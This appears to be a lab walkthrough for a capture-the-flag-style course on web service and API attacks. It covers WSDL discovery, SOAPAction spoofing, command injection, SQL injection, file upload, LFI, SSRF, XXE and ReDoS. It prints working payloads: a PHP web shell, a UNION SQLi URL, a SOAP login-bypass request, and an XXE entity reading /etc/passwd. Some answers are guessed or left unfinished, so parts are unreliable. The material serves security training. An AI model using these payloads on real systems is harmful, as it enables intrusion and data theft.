Introduction to Web Services and APIs

According to the World Wide Web Consortium (W3C), web services provide a standardized way for different software systems—running on diverse platforms and built with different technologies—to communicate and share data. They are designed to be highly interoperable and flexible, using XML to describe their structure in a format that machines can easily interpret.

In essence, web services allow applications to interact seamlessly, regardless of their underlying differences. For instance:

• One system developed in Java and hosted on a Linux server with an Oracle database
• Another system developed in C++ and hosted on a Windows server with an SQL Server database

Despite their distinct environments, these two applications can exchange information over the internet through web services.

An Application Programming Interface (API) is a set of defined rules and protocols that enable different software programs to exchange data. Each API has its own specifications that determine how data is sent and received.

For example, imagine a piece of software that needs to check ticket prices for certain dates. It can send a request to another program’s API, which will respond with the requested information in a specific format. The API defines the communication rules that allow both programs to understand each other.

Although web services and APIs may appear similar, there are some key distinctions between them.

Web Services vs. APIs

The terms web service and API are closely related but not entirely interchangeable.

• Every web service is an API, but not every API is a web service.
• Web services require a network connection to function, whereas some APIs can operate offline.
• Web services typically restrict external developer access, while many APIs are designed to be open and developer-friendly.
• Web services often use SOAP (Simple Object Access Protocol) for secure communication, while APIs may use various styles such as XML-RPC, JSON-RPC, SOAP, or REST.
• Web services traditionally rely on XML for data formatting, whereas APIs frequently use JSON (JavaScript Object Notation) due to its simplicity and efficiency.

Web Services Description Language (WSDL)

WSDL stands for Web Services Description Language. It is an XML document that a web service may publish to tell clients what operations it offers, where those operations live, and how to call them.

A WSDL file is not always openly available. Developers might intentionally hide or place it at an unusual path (security through obscurity). In those situations, directory or parameter fuzzing can help reveal the WSDL’s location and contents.

Follow the instructions to the end of this section, then click Click here to spawn the target system! or the Reset Target icon. Use the supplied Pwnbox or a local VM (with the provided VPN key) to reach the target service and proceed with the exercise.

Suppose we’re testing a SOAP endpoint on http://<TARGET IP>:3002 and we have no information about a WSDL. We’ll start with some simple directory fuzzing against that service:

suricatoti@htd[/htd]$ dirb http://<TARGET IP>:3002

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Fri Mar 25 11:53:09 2022
URL_BASE: http://<TARGET IP>:3002/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://<TARGET IP>:3002/ ----
+ http://<TARGET IP>:3002/wsdl (CODE:200|SIZE:0)                            
                                                                               
-----------------
END_TIME: Fri Mar 25 11:53:24 2022
DOWNLOADED: 4612 - FOUND: 1

The directory scan indicates http://<TARGET IP>:3002/wsdl exists. Let’s try to view it:

suricatoti@htd[/htd]$ curl http://<TARGET IP>:3002/wsdl

The response is empty. That suggests the endpoint might accept a query parameter (for example ?wsdl) that returns the WSDL. We can fuzz parameters using ffuf with a parameter-name wordlist; here we filter out empty responses (-fs 0) and match HTTP 200 responses (-mc 200).

suricatoti@htd[/htd]$ ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -u 'http://<TARGET IP>:3002/wsdl?FUZZ' -fs 0 -mc 200

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.3.1 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : http://<TARGET IP>:3002/wsdl?FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200
 :: Filter           : Response size: 0
________________________________________________

... (ffuf progress) ...

wsdl [Status: 200, Size: 4461, Words: 967, Lines: 186]

The scan shows that a parameter named wsdl returns content. Requesting http://<TARGET IP>:3002/wsdl?wsdl yields the WSDL XML:

suricatoti@htd[/htd]$ curl http://<TARGET IP>:3002/wsdl?wsdl 

<?xml version="1.0" encoding="UTF-8"?>
<wsdl:definitions targetNamespace="http://tempuri.org/"
    xmlns:s="http://www.w3.org/2001/XMLSchema"
    xmlns:soap12="http://schemas.xmlsoap.org/wsdl/soap12/"
    xmlns:http="http://schemas.xmlsoap.org/wsdl/http/"
    xmlns:mime="http://schemas.xmlsoap.org/wsdl/mime/"
    xmlns:tns="http://tempuri.org/"
    xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/"
    xmlns:tm="http://microsoft.com/wsdl/mime/textMatching/"
    xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/"
    xmlns:wsdl="http://schemas.xmlsoap.org/wsdl/">
    <wsdl:types>
        <s:schema elementFormDefault="qualified" targetNamespace="http://tempuri.org/">
            <s:element name="LoginRequest">
                <s:complexType>
                    <s:sequence>
                        <s:element minOccurs="1" maxOccurs="1" name="username" type="s:string"/>
                        <s:element minOccurs="1" maxOccurs="1" name="password" type="s:string"/>
                    </s:sequence>
                </s:complexType>
            </s:element>
            <s:element name="LoginResponse">
                <s:complexType>
                    <s:sequence>
                        <s:element minOccurs="1" maxOccurs="unbounded" name="result" type="s:string"/>
                    </s:sequence>
                </s:complexType>
            </s:element>
            <s:element name="ExecuteCommandRequest">
                <s:complexType>
                    <s:sequence>
                        <s:element minOccurs="1" maxOccurs="1" name="cmd" type="s:string"/>
                    </s:sequence>
                </s:complexType>
            </s:element>
            <s:element name="ExecuteCommandResponse">
                <s:complexType>
                    <s:sequence>
                        <s:element minOccurs="1" maxOccurs="unbounded" name="result" type="s:string"/>
                    </s:sequence>
                </s:complexType>
            </s:element>
        </s:schema>
    </wsdl:types>
    <!-- Login Messages -->
    <wsdl:message name="LoginSoapIn">
        <wsdl:part name="parameters" element="tns:LoginRequest"/>
    </wsdl:message>
    <wsdl:message name="LoginSoapOut">
        <wsdl:part name="parameters" element="tns:LoginResponse"/>
    </wsdl:message>
    <!-- ExecuteCommand Messages -->
    <wsdl:message name="ExecuteCommandSoapIn">
        <wsdl:part name="parameters" element="tns:ExecuteCommandRequest"/>
    </wsdl:message>
    <wsdl:message name="ExecuteCommandSoapOut">
        <wsdl:part name="parameters" element="tns:ExecuteCommandResponse"/>
    </wsdl:message>
    <wsdl:portType name="HacktheBoxSoapPort">
        <!-- Login Operaion | PORT -->
        <wsdl:operation name="Login">
            <wsdl:input message="tns:LoginSoapIn"/>
            <wsdl:output message="tns:LoginSoapOut"/>
        </wsdl:operation>
        <!-- ExecuteCommand Operation | PORT -->
        <wsdl:operation name="ExecuteCommand">
            <wsdl:input message="tns:ExecuteCommandSoapIn"/>
            <wsdl:output message="tns:ExecuteCommandSoapOut"/>
        </wsdl:operation>
    </wsdl:portType>
    <wsdl:binding name="HacktheboxServiceSoapBinding" type="tns:HacktheBoxSoapPort">
        <soap:binding transport="http://schemas.xmlsoap.org/soap/http"/>
        <!-- SOAP Login Action -->
        <wsdl:operation name="Login">
            <soap:operation soapAction="Login" style="document"/>
            <wsdl:input>
                <soap:body use="literal"/>
            </wsdl:input>
            <wsdl:output>
                <soap:body use="literal"/>
            </wsdl:output>
        </wsdl:operation>
        <!-- SOAP ExecuteCommand Action -->
        <wsdl:operation name="ExecuteCommand">
            <soap:operation soapAction="ExecuteCommand" style="document"/>
            <wsdl:input>
                <soap:body use="literal"/>
            </wsdl:input>
            <wsdl:output>
                <soap:body use="literal"/>
            </wsdl:output>
        </wsdl:operation>
    </wsdl:binding>
    <wsdl:service name="HacktheboxService">
        <wsdl:port name="HacktheboxServiceSoapPort" binding="tns:HacktheboxServiceSoapBinding">
            <soap:address location="http://localhost:80/wsdl"/>
        </wsdl:port>
    </wsdl:service>
</wsdl:definitions>

We have successfully discovered the SOAP service’s WSDL.

If you should think of the operation object in WSDL as a programming concept, which of the following is closer in terms of the provided functionality? Answer options (without quotation marks): “Data Structure”, “Method”, “Class”

Let’s begin with a simple directory fuzzing scan of the web service.

It appears http://<TARGET IP>:3002/wsdl is present. Let’s fetch its contents.

The response is empty. There may be a query parameter that reveals the SOAP service’s WSDL; let’s run parameter fuzzing with ffuf using the burp-parameter-names.txt wordlist. Note: -fs 0 removes empty responses and -mc 200 matches only HTTP 200 results.

It appears wsdl is an accepted parameter. Let’s request http://<TARGET IP>:3002/wsdl?wsdl

We’ve located the SOAP service’s WSDL file!
Note: WSDLs may appear in different places — for example /example.wsdl, ?wsdl, /example.disco, or ?disco. DISCO is a Microsoft protocol for publishing and finding web services.

an operation = callable behavior with parameters and return data → the closest programming concept is a…

method

SOAPAction Spoofing

SOAP requests to a SOAP service must specify the operation to perform and include the corresponding parameters. The operation is represented by the first child element inside the SOAP body. When HTTP is used as the transport layer, clients can also send a SOAPAction HTTP header that names the operation. A service can use that header to determine which operation to run without parsing the XML payload.

If a service relies solely on the SOAPAction header to choose the operation, an attacker can spoof that header and cause the service to execute a different operation — a vulnerability known as SOAPAction spoofing.

Let’s walk through testing a SOAP service that is vulnerable to this attack. Follow the steps at the end of this section, then click Click here to spawn the target system! or the Reset Target button. Use the provided Pwnbox or a local VM (with the supplied VPN key) to reach the target and follow along.

For this exercise, assume the target SOAP service’s WSDL is available at http://<TARGET IP>:3002/wsdl?wsdl.

Exploit the SOAPAction spoofing vulnerability and submit the architecture of the web server as your answer. Answer options (without quotation marks): “x86_64”, “x86”

the exploited box returns typical modern Linux root shell output (uid=0) and HTD-style targets are almost always 64-bit — so the correct architecture is…

x86_64

Command Injection (reworded)

Command injection is a high-severity flaw that lets attackers run operating-system commands on the server. When a web service builds or executes shell commands using input that comes from users, an attacker can craft input that alters the intended command and forces the server to run arbitrary commands.

We’ll examine a vulnerable service together.

A common example are “connectivity check” features — for instance, router admin pages or simple web tools that run ping against a hostname you supply.

Follow the lab steps: start the target (Click here to spawn the target system! or Reset Target), use the provided Pwnbox or a local VM with the VPN key, and walk through the exercise.

For this exercise, assume the service is reachable at http://<TARGET IP>:3003/ping-server.php/ping and that you have access to the service’s source code.

Exploit the command injection vulnerability of the target to execute an “id” command. Submit the privileges under which the server is running as your answer. Answer options (without quotation marks): “user”, “www-data”, “root”

Execute the command bellow to get the flag.

http://127.0.0.1:3003/ping-server.php/system/id

To execute commands featuring arguments via http://<TARGET IP>:3003/ping-server.php/system/{cmd} you may have to use ______. Answer options (without quotation marks): “Encryption”, “Hashing”, “URL Encoding”

URL Encoding

Information disclosure (with an SQLi angle)

Misconfigurations or weak security controls in a web service or API can leak sensitive information.
When hunting for such leaks, spend plenty of time fuzzing the application and its inputs—careful, systematic fuzzing often uncovers unintended data exposure (and sometimes SQL injection vectors that reveal even more).

What is the username of the third user (id=3)?

Assume the API is hosted at http://<TARGET IP>:3003. A hidden query or form parameter could disclose endpoints or functionality, so we should look for it by fuzzing parameter names. Use ffuf with the burp-parameter-names.txt wordlist to try many common parameter names quickly. Example command:

ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -u 'http://<TARGET IP>:3003/?FUZZ' -fs 0 -mc 200

This will request the base URL replacing FUZZ with each candidate parameter name, ignore empty responses (-fs 0) and report hits that return HTTP 200 (-mc 200), helping reveal parameters that expose the API.

ffuf -w "/usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt" -u "http://127.0.0.1:3003/FUZZ=test_value" -fs 19<br><br>  /$$<br> | $$<br> | $$ /$$   /$$ /$$      /$$  /$$$$$$  /$$$$$$$<br> | $$$$$/  | $$  | $$  | $$| $$ /$$/  /$$| $$ /$$ /$$| $$  /$$ /$$  | $$ /$$<br> | $$_$$/ | $$  | $$  | $$| $$$$$/ | $$$$$$| $$$$$$$/<br> | $$| $$| $$ | $$| $$| $$ /$$| $$ /$$| $$  /$$<br> | $$ | $$| $$$$$$/| $$$$$/| $$| $$$$$$/| $$ | $$<br> |__/ |__/| ______/ | ______/| ______/| ______/| ______/<br><br>v2.1.0-dev<br><br>__________________________________________________<br><br>:: Method : GET<br>:: URL : http://127.0.0.1:3003/FUZZ=test_value<br>:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt<br>:: Follow redirects : false<br>:: Calibration : false<br>:: Timeout : 10<br>:: Threads : 40<br>:: Matcher : Response status: 200-299,301,302,307,401,403,405,500<br>:: Filter : Response size: 19<br>__________________________________________________<br><br>dosthisserver [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 5249ms]<br>downloadD [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 5246ms]<br>id [Status: 200, Size: 38, Words: 7, Lines: 1, Duration: 268ms]<br>locale [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 155ms]<br>xhrlocation [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 154ms]<br>:: Progress: [6453/6453] :: Job [1/1] :: 17 req/sec :: Duration: [0:02:00] :: Errors: 0 ::

It seems that id is a valid parameter. Let’s send a request including the id parameter with a sample value to observe how the server responds. Send id value 3 to get the flag.

Identify the username of the user that has a position of 736373 through SQLi. Submit it as your answer.

Use the payload bellow to get the flag.

http://127.0.0.1:3003/?id=-1%20UNION%20SELECT%201,username,position%20FROM%20users%20WHERE%20position%3D736373--

Arbitrary File Upload

Arbitrary file upload flaws are high-severity issues. They let an attacker place crafted files on the server, which can be used to run commands, escalate access, or fully compromise the host. Both web applications and APIs can be vulnerable to this class of problem.

Achieve remote code execution and submit the server’s hostname as your answer.

Create a file named backdoor.php with the content above:

<?php if(isset($_REQUEST["cmd"])){ echo "<pre>"; $cmd = ($_REQUEST["cmd"]); system($cmd); echo "</pre>"; die; }?>

Send this file to the server.

After you send it, you’ll see the address where the file is located.

Now, just access this address and pass the command that you want to execute

http://127.0.0.1:3001/uploads/backdoor.php?cmd=hostname

And get the flag.

Local File Inclusion (LFI)

Local File Inclusion (LFI) is a vulnerability that can impact both web apps and APIs. It enables an attacker to access files on the server and, in some cases, run code remotely — for example by poisoning Apache logs. Our File Inclusion module goes into LFI in depth.

Through the LFI vulnerability identify an existing user on the server whose name starts with “ub”. Answer format: ub****

For this exercises, you can use the same steps that we use on the last exercise. After send the file with the script, just the command bellow:

http://127.0.0.1:3001/uploads/backdoor.php?cmd=cat%20/etc/passwd

Cross-Site Scripting (XSS)

Cross-Site Scripting (XSS) flaws can affect both web applications and APIs. They let an attacker inject and run arbitrary JavaScript inside a victim’s browser, which can lead to full compromise of the web app when combined with other weaknesses. Our XSS module explores these attacks and mitigations in depth.

Short variant:
XSS vulnerabilities let attackers execute malicious JavaScript in users’ browsers — impacting web apps and APIs — and can enable total application compromise when chained with other issues. See the XSS module for a full walkthrough.

If we URL-encoded our payload twice, would it still work? Answer format: Yes, No

when the payload is URL-encoded twice, the server decodes it only once before using it in the response.
After a single decoding pass, the payload still appears encoded (e.g., %253Cscript%253E... instead of <script>...), so the browser never interprets it as HTML/JavaScript.

So… the answer is…

Server-Side Request Forgery (SSRF)

Server-Side Request Forgery (SSRF), one of the OWASP Top 10 issues, lets an attacker trick a server into making requests to internal or external resources on the attacker’s behalf. Typically this requires supplying or tampering with URLs that the application uses to fetch or submit data. Successful SSRF can enable an attacker to:

• Talk to internal systems that aren’t exposed externally
• Discover internal services by probing ports
• Leak sensitive or local files and data
• Force the application to include local files
• Capture NetNTLM hashes by abusing Windows UNC paths
• Potentially achieve remote code execution

SSRF bugs commonly appear where an app or API fetches remote content, but you should fuzz every parameter you find—even those that don’t obviously request external resources—because they can still lead to SSRF.

Can you leverage the SSRF vulnerability to identify port 3002 listening locally on the web server? Answer format: Yes, No

You can — the API accepts Base64-encoded URLs and will fetch them. For example (run from your attacking VM/Pwnbox):

# encode target internal URL and call the API
payload=$(echo -n "http://127.0.0.1:3002" | base64)
curl -s "http://<TARGET IP>:3000/api/userinfo?id=${payload}"

If port 3002 is listening, you’ll observe either a connection to a listener you control or a meaningful response from that internal service, confirming the port is open.

So… the answer is…

Regular Expression Denial of Service (ReDoS)

Imagine an API that validates user input using a regular expression. For normal inputs the server matches the pattern and responds in a predictable, short time. However, an attacker can craft a specially designed input that triggers pathological behavior in the regex engine (backtracking, catastrophic complexity, etc.), making the match take far longer as the input grows. Submitting these “evil” inputs repeatedly or with increasing length can slow the service dramatically or make it unresponsive — an attack known as Regular Expression Denial of Service (ReDoS).

There are more than one payload lengths to exploit/trigger the ReDoS vulnerability. Answer format: Yes, No

The regex contains nested and overlapping quantifiers that cause catastrophic backtracking. In plain terms:

• The pattern uses repeated groups like ([a-zA-Z0-9_.-])+ and (([a-zA-Z0-9-])+.)+ — nested (...) + constructions.
• When the engine tries to match a long, ambiguous input, it explores many alternative ways to assign characters to those groups. Each failed attempt makes it backtrack and try another combination; the number of combinations explodes with input length.
• Different input lengths (and where the ambiguous characters fall) change how many backtracking paths the engine must try, so several different lengths can trigger large slowdowns — there isn’t a single “magic” length only.
• The longer the crafted part of the payload that falls inside those ambiguous groups, the worse the backtracking and the longer the response time.

That’s why multiple payload lengths can exploit the ReDoS — the vulnerable structure makes evaluation time grow rapidly with certain inputs, not just one fixed length.

So… the answer is…

XML External Entity (XXE) Injection

XXE vulnerabilities happen when an application parses XML supplied by a user without disabling or properly handling XML external entity features. An attacker can craft XML that abuses these features to perform harmful actions — for example, exposing sensitive files, leaking internal network data, or even causing the XML processor to crash the backend. XXE issues can impact both web applications and APIs. Our Web Attacks module explains XXE attacks and defenses in depth.

What URI scheme should you specify inside an entity to retrieve the content of an internal file? Answer options (without quotation marks): “http”, “https”, “data”, “file”

The file URI scheme allows access to local files on the server’s filesystem.

In an XXE (XML External Entity) attack, the SYSTEM keyword tells the XML parser to load the contents of a resource specified by a URI.
Examples:

• http:// → fetches data from an external web resource
• https:// → same, but over TLS
• data: → embeds inline data
• file:// → reads a local file directly from the server’s filesystem

So, if the goal is to retrieve internal files such as /etc/passwd, you must use:

<!ENTITY xxe SYSTEM "file:///etc/passwd">

This instructs the XML parser to open and include the contents of /etc/passwd from the local machine where the vulnerable API is running.

So… the answer is….

Web Services & API Attacks — Skills Check

A client has asked us to evaluate a SOAP web service. Its WSDL is accessible at http://<TARGET IP>:3002/wsdl?wsdl.
Perform a security assessment of this service, locate a SQL injection vulnerability that can be exploited via SOAP messages, and then answer the question below.

Submit the password of the user that has a username of “admin”. Answer format: FLAG{string}. Please note that the service will respond successfully only after submitting the proper SQLi payload, otherwise it will hang or throw an error.

Navigate to http://127.0.0.1:3002/wsdl?wsdl, and you will see the following response (with Burp):

<wsdl:definitions xmlns:s="http://www.w3.org/2001/XMLSchema" xmlns:soap12="http://schemas.xmlsoap.org/wsdl/soap12/" xmlns:http="http://schemas.xmlsoap.org/wsdl/http/" xmlns:mime="http://schemas.xmlsoap.org/wsdl/mime/" xmlns:tns="http://tempuri.org/" xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/" xmlns:tm="http://microsoft.com/wsdl/mime/textMatching/" xmlns:wsdl="http://schemas.xmlsoap.org/wsdl/" targetNamespace="http://tempuri.org/">
  <wsdl:types>
    <s:schema elementFormDefault="qualified" targetNamespace="http://tempuri.org/">
      <s:element name="LoginRequest">
        <s:complexType>
          <s:sequence>
            <s:element minOccurs="1" maxOccurs="1" name="username" type="s:string" />
            <s:element minOccurs="1" maxOccurs="1" name="password" type="s:string" />
          </s:sequence>
        </s:complexType>
      </s:element>
      <s:element name="LoginResponse">
        <s:complexType>
          <s:sequence>
            <s:element minOccurs="1" maxOccurs="unbounded" name="result" type="s:string" />
          </s:sequence>
        </s:complexType>
      </s:element>
      <s:element name="ExecuteCommandRequest">
        <s:complexType>
          <s:sequence>
            <s:element minOccurs="1" maxOccurs="1" name="cmd" type="s:string" />
          </s:sequence>
        </s:complexType>
      </s:element>
      <s:element name="ExecuteCommandResponse">
        <s:complexType>
          <s:sequence>
            <s:element minOccurs="1" maxOccurs="unbounded" name="result" type="s:string" />
          </s:sequence>
        </s:complexType>
      </s:element>
    </s:schema>
  </wsdl:types>
  <wsdl:message name="LoginSoapIn">

The API exposes two actions: Login and ExecuteCommand. We’ll exploit an SQL injection flaw to extract the flag.

Because we need the admin account and its password, send a POST to the Login action with the SOAPAction header set to "Login".

Let’s inject an SQL payload using Burp Suite. Open the page and intercept the traffic.

Right click on the request and choose Send to Repeater.

Right click on the request and choose Change request method.

Now insert the payload to get the flag.

POST /wsdl HTTP/1.1
Host: 127.0.0.1:3002
User-Agent: Mozilla/5.0
Content-Type: text/xml; charset=utf-8
SOAPAction: "Login"
Connection: close
Content-Length: 453

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
               xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
               xmlns:tns="http://tempuri.org/">
  <soap:Body>
    <LoginRequest xmlns="http://tempuri.org/">
      <username>' OR 1=1 and username LIKE 'admin' --</username>
      <password>irrelevant</password>
    </LoginRequest>
  </soap:Body>
</soap:Envelope>